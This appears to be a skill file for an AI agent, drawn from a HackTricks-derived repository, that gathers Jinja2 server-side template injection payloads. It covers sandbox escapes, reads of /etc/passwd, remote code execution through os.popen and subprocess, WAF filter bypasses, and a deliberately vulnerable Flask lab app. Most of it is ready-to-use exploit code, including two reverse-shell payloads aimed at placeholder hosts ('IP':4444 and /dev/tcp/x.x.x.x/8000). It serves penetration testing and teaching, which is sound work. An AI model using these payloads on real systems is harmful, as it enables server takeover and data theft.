Hacktricks-skills jinja2-ssti

Generate Jinja2 Server-Side Template Injection (SSTI) payloads and bypass techniques for web application security testing. Use this skill whenever you need to test for template injection vulnerabilities in Flask/Jinja2 applications, generate RCE payloads, bypass WAF filters, or enumerate template sandbox escapes. Trigger this skill for any web pentesting task involving Python templating engines, Flask applications, or when you suspect SSTI vulnerabilities.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/ssti-server-side-template-injection/jinja2-ssti/SKILL.MD
source content

Jinja2 SSTI Testing Skill

A comprehensive guide for testing Jinja2 Server-Side Template Injection vulnerabilities in web applications.

When to Use This Skill

Use this skill when:

  • Testing Flask applications for template injection vulnerabilities
  • Needing to generate SSTI payloads for security assessments
  • Attempting to escape Jinja2 sandbox restrictions
  • Bypassing WAF filters on template injection points
  • Enumerating available objects in a template context
  • Converting SSTI to RCE (Remote Code Execution)

Quick Start

1. Identify SSTI Vulnerability

Test for SSTI with basic payloads:

# Basic detection
{{7*7}}
{{7*7}}
{{config}}
{{request}}
{% debug %}

If the application renders these as

49
or shows object data, SSTI is likely present.

2. Access Global Objects

These objects are always accessible from the sandboxed environment:

[]
''
()
dict
config
request

3. Escape the Sandbox

Recover

<class 'object'>
to access
__subclasses__()
:

# Access class object
[].__class__
''.__class__
request.__class__
config.__class__
dict

# Access object class
dict.__base__
dict.mro()[-1]
(dict|attr("__mro__"))[-1]

# Call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("__subclasses__"))() }}

4. Read Files

# File class is typically at index 40
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/flag.txt').read() }}

5. Execute Commands (RCE)

# subprocess.Popen is typically at index 396
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

# Without guessing class index - iterate through subclasses
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}

# Reverse shell
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"IP\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'" ).read()}}{%endif%}{% endfor %}

Filter Bypasses

Access Attributes Without Special Characters

# Without quotes, _, [, ]
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join)

# Using request object options
request|attr(request.headers.c)  # Send header: c: __class__
request|attr(request.args.c)     # Send param: ?c=__class__
request|attr(request.query_string[2:16].decode())

# Format string from params
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_

Avoid HTML Encoding

# Default HTML encoding
{{'<script>alert(1);</script>'}}
# Becomes: &lt;script&gt;alert(1);&lt;/script&gt;

# Use safe filter
{{'<script>alert(1);</script>'|safe}}
# Becomes: <script>alert(1);</script>

RCE Without
<class 'object'>

Access

__globals__.__builtins__
from function objects:

# Find functions in global objects
{{ request.__class__.__dict__ }}
{{ config.__class__.__dict__ }}

# Read file via builtins
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}

# RCE via builtins
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}

# Using import_string
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}

Advanced Bypasses

Without
{{
.
[
]
}}
_

{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}

Evil Config File Technique

# Write evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

# Load the config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}

# Execute command
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

Testing Workflow

  1. Detection: Test with
    {{7*7}}
    or
    {% debug %}
  2. Enumeration: Dump
    {{ config }}
    or
    {% for key, value in config.items() %}{{ key }}: {{ value }}{% endfor %}
  3. Sandbox Escape: Use
    __class__.__mro__[-1].__subclasses__()
  4. File Access: Find File class (index ~40) and read/write
  5. RCE: Find subprocess.Popen (index ~396) or use
    __builtins__
  6. Bypass: Apply filter bypasses if WAF is present

Tools

  • Fenjing: Automated SSTI testing tool
    python -m fenjing scan --url 'http://target/'
    python -m fenjing crack --url 'http://target/' --method GET --inputs name
    

References

Lab Environment

Test your payloads against this vulnerable Flask app:

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/")
def home():
    if request.args.get('c'):
        return render_template_string(request.args.get('c'))
    else:
        return "Hello, send something inside the param 'c'!"

if __name__ == "__main__":
    app.run()

Run locally and test:

curl "http://localhost:5000/?c={{7*7}}"